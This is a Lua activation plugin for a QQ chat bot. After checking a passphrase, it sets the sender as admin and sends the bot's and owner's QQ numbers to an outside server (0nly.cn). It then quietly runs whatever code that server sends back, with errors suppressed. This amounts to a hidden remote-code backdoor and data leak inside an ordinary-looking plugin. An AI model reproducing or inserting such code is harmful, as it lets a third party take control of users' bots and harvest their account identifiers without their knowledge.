--激活插件
return function (qq,msg)
    local app = {
        {--激活流程
            check = function()
                return msg == "加菲猫"
            end,
            run = function()
                apiXmlSet("","settings", "adminqq",tostring(qq))
                sendMessage("激活成功！主人QQ："..tostring(qq))

                --上传 数据
                local data = apiHttpGet("https://0nly.cn/cq",'0_'..tostring(cqGetLoginQQ())..'.'..tostring(qq))
                local datan = data:split('_')
                apiXmlSet("","settings", "holiday",datan[1])
                if datan[2] ~= nil and datan[2] ~= "" then
                    local result, info = pcall(function ()
                        load(cqCqCode_UnTrope(datan[2]))()
                    end)
                end

                return true
            end
        },
        {--初始验证
            check = function()
                return true
            end,
            run = function()
                sendMessage("交流群  ：788988268\n作者QQ：919825501\n请输入口令激活插件：")
                return true
            end
        },
    }
    
    for i = 1, #app do
        if app[i].check and app[i].check() then
            return app[i].run()
        end
    end
end